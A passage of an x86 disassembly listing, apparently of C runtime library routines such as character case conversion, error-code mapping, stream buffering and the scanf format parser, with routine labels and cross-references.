loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E0BE4, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_441DB4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_441BA8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4E0B2C, ecx
		mov	eax, offset dword_441EC0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_442028
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4E0B28, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_441EC4[edx*8]
		mov	dword_4E0B28, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4E0B28, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4E0B28, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_4422B8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_4422D8
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4E0D10
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4E0BB4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4E0BB4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_441DB4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_441BA8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_441DB4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_441DB4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_441DB8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_441DB8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_441DB4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_441DB4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_441BA8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_442158
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_442030
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_442028


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_441BA8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_441DB4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
